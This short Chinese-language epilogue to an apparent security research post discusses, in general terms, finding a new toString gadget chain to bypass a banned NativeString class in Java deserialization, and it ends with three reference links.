后记 - toString链和新的Source(下篇文章) 要绕过被ban的NativeString,我们需要找一条新的链来连接toString。这就是后面CVE-2021-xxx系列出现的原因。找到toString链之后,我们完全可以复用前面的几条链子toString之后的部分来进行组合,形成新的链子。
参考 https://zhuanlan.zhihu.com/p/337609512
https://xz.aliyun.com/t/8526
https://www.anquanke.com/post/id/226241#h3-2